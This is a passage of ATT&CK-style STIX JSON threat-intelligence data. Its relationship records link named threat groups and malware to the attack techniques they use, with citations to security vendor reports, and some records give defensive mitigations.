Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Unit 42 ProjectM March 2016","url":"https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/","description":"Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. Retrieved September 2, 2021."},{"source_name":"Talos Transparent Tribe May 2021","url":"https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html","description":"Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021."}],"modified":"2021-10-15T19:27:15.824Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) has set up websites with malicious hyperlinks and iframes to infect targeted victims with [Crimson](https://attack.mitre.org/software/S0115), [njRAT](https://attack.mitre.org/software/S0385), and other malicious tools.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Unit 42 ProjectM March 2016)(Citation: Talos Transparent Tribe May 2021)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91c4630e-772b-4dac-8e58-5a899ccdc2be","type":"relationship","created":"2020-04-27T14:14:05.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-04-20T14:51:02.177Z","description":"Routinely monitor user permissions to ensure only the expected users have the capability to modify cloud compute infrastructure components.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a55d75ab-f5bb-4892-80de-c878be26a67d","type":"relationship","created":"2019-10-05T02:35:42.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Leafminer July 2018","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"}],"modified":"2019-10-05T02:35:42.069Z","description":"(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9076ac7-11d9-44fc-91dc-0f927d62497f","type":"relationship","created":"2021-10-13T22:04:28.611Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T14:09:01.180Z","description":"[Nomadic Octopus](https://attack.mitre.org/groups/G0133) executed PowerShell in a hidden window.(Citation: ESET Nomadic Octopus 2018) ","relationship_type":"uses","source_ref":"intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de168dd4-3c59-4fa4-901a-911b1ee81a31","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"},{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2020-06-02T16:14:00.632Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) has gathered information about network IP configurations using [ipconfig](https://attack.mitre.org/software/S0100).exe and about routing tables using [route](https://attack.mitre.org/software/S0103).exe.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe69bcdd-8df4-44e3-8994-b46e4d4c8aac","type":"relationship","created":"2020-05-15T16:50:05.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Infoblox Lokibot January 2019","url":"https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22","description":"Hoang, M. (2019, January 31). Malicious Activity Report: Elements of  Lokibot Infostealer. Retrieved May 15, 2020."}],"modified":"2020-05-15T16:50:05.783Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has demonstrated the ability to steal credentials from multiple applications and data sources including Safari and the Chromium and Mozilla Firefox-based web browsers.(Citation: Infoblox Lokibot January 2019)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b5948b4-eba5-4af6-93d1-71b109167f62","type":"relationship","created":"2019-10-08T19:55:33.729Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-04-01T12:37:53.005Z","description":"Administrators should audit all cloud and container accounts to ensure that they are necessary and that the permissions granted to them are appropriate.  Additionally, administrators should perform an audit of all OAuth applications and the permissions they have been granted to access organizational data. This should be done extensively on all applications in order to establish a baseline, followed up on with periodic audits of new or updated applications. Suspicious applications should be investigated and removed.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d910654b-9ebe-439e-b6f9-a8234bad7961","type":"relationship","created":"2021-09-30T20:20:27.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE  A PRO. Retrieved September 27, 2021."}],"modified":"2021-09-30T20:20:27.758Z","description":"[ProLock](https://attack.mitre.org/software/S0654) can use CVE-2019-0859 to escalate privileges on a compromised host.(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--471d0e9f-2c8a-4e4b-8f3b-f85d2407806e","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c548d89-557e-4c48-9b71-8a761d94e77b","type":"relationship","created":"2019-04-22T19:39:48.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. 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(2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.451Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can get user agent strings for the default browser from <code>HKCU\\Software\\Classes\\http\\shell\\open\\command</code>.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a692f6c3-9082-4336-b52a-2a40556ee03d","type":"relationship","created":"2019-04-24T19:50:33.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html ","source_name":"FireEye TEMP.Veles 2018"},{"description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html","source_name":"FireEye TRITON 2019"}],"modified":"2021-02-09T14:34:04.502Z","description":"[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used a publicly-available PowerShell-based tool, WMImplant.(Citation: FireEye TEMP.Veles 2018) The group has also used PowerShell to perform [Timestomp](https://attack.mitre.org/techniques/T1070/006)ing.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1ca60ac-cef2-467e-843c-5732d8885626","type":"relationship","created":"2019-04-10T15:25:18.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2019-06-28T15:05:33.242Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used SniffPass to collect credentials by sniffing network traffic.(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c294d8b-2ee4-47ee-b9d8-8378d9d89ba1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). 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Retrieved May 15, 2020."}],"modified":"2020-05-15T13:43:22.809Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) performed port scanning to obtain the list of active services.(Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9d86c0c-6ee9-4fdc-bb9b-6d331a44bbde","type":"relationship","created":"2020-11-09T14:52:45.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). 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Retrieved September 22, 2021."}],"modified":"2021-10-01T01:57:31.609Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has added RSA keys in <code>authorized_keys</code>.(Citation: Aqua TeamTNT August 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--794403a3-232e-4cc3-85e2-cc997825dfa8","type":"relationship","created":"2020-11-19T17:03:37.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). 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Retrieved December 14, 2018.","url":"https://github.com/AlessandroZ/LaZagne","source_name":"GitHub LaZagne Dec 2018"}],"modified":"2020-11-23T18:34:50.090Z","description":"[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from Vault files.(Citation: GitHub LaZagne Dec 2018)\t","relationship_type":"uses","source_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2b26c652-7f0e-41f1-810a-7e6c24f2bfdb","type":"relationship","created":"2019-06-14T16:45:33.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.","url":"https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/","source_name":"Rapid7 KeyBoy Jun 2013"}],"modified":"2019-06-30T22:48:21.827Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) installs a service pointing to a malicious DLL dropped to disk.(Citation: Rapid7 KeyBoy Jun 2013)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--415f38f8-d490-461a-9a40-968f8cd2bd8b","type":"relationship","created":"2022-03-25T19:14:18.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Ukraine Wipers February 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia","description":"Symantec Threat Hunter Team. (2022, February 24). Ukraine: Disk-wiping Attacks Precede Russian Invasion. Retrieved March 25, 2022."},{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."},{"source_name":"ESET Hermetic Wiper February 2022","url":"https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine","description":"ESET. (2022, February 24). HermeticWiper: New data wiping malware hits Ukraine. Retrieved March 25, 2022."},{"source_name":"Qualys Hermetic Wiper March 2022","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware","description":"Dani, M. (2022, March 1). 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Retrieved March 25, 2022."}],"modified":"2022-03-25T21:34:45.677Z","description":"The [HermeticWiper](https://attack.mitre.org/software/S0697) executable has been signed with a legitimate certificate issued to Hermetica Digital Ltd.(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5042a260-b7f4-4853-bbd9-089c2ef680cc","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). 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Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) can collect system profile information from a compromised host.(Citation: Kaspersky ThreatNeedle Feb 2021)","modified":"2022-04-13T13:20:08.961Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dda297c6-2edc-47c5-b32b-0d4ef0f85be4","type":"relationship","created":"2019-09-24T12:59:58.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Fraser, N., et al. (2019, August 7). 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Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.140Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has a feature to perform SYN flood attack on a host.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e462e1b-62ec-4b44-990d-acd3f7b0010c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. 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Retrieved June 9, 2021."}],"modified":"2021-06-18T15:26:55.712Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) uses Tor to communicate with C2.(Citation: Unit 42 Siloscape Jun 2021)","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4e83a18-a2bf-45af-aa6b-18f72646d8b6","type":"relationship","created":"2019-06-21T16:52:53.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-06-20T22:43:41.455Z","description":"Specific developer utilities may not be necessary within a given environment and should be removed if not used.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e91ec241-b329-4488-ac65-442992f84fb5","type":"relationship","created":"2020-08-31T14:56:42.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Valak June 2020","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i   ","description":"Reaves, J. and Platt, J. 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Retrieved October 8, 2020."}],"modified":"2022-03-25T13:18:54.201Z","description":"[Operation Wocao](https://attack.mitre.org/groups/G0116) has executed commands through the installed web shell via Tor exit nodes.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1558f550-390d-4c40-a2f7-c9aa1fcf9f1b","type":"relationship","created":"2021-03-25T14:49:34.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T14:49:34.787Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to query the Registry for proxy settings.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39b735d3-c659-4d1a-8e7e-082c0f049c2d","type":"relationship","created":"2017-05-31T21:33:27.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). 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Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-05-03T16:45:45.236Z","description":"[WinMM](https://attack.mitre.org/software/S0059) sets a WH_CBT Windows hook to search for and capture files on the victim.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--22addc7b-b39f-483d-979a-1b35147da5de","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--70f37bdd-dd94-46de-b41b-dd5e04997d3b","created":"2022-03-24T21:39:40.373Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. 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(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e12d3f8-6c2b-4622-889e-63c9abcff04b","type":"relationship","created":"2021-04-07T14:48:18.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Cobalt Strike September 2020","url":" https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. 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Retrieved April 13, 2021."}],"modified":"2021-10-18T19:51:49.799Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can query <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\<Excel Version>\\Excel\\Security\\AccessVBOM\\</code>  to determine if the security setting for restricting default programmatic access is enabled.(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4899bf68-d60e-4132-a962-faafd35f0c4a","type":"relationship","created":"2020-08-19T17:34:47.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-19T17:34:47.344Z","description":"[RDAT](https://attack.mitre.org/software/S0495) has masqueraded as VMware.exe.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35373a50-d85d-4ac5-94bc-5896b48ac5c6","type":"relationship","created":"2019-04-19T19:02:03.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). 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Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2020-03-30T01:56:32.914Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) can compress data with ZLIB prior to sending it back to the C2 server.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da2585bf-f31d-42c9-b488-e6cbab7bcd42","type":"relationship","created":"2021-03-05T18:54:56.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 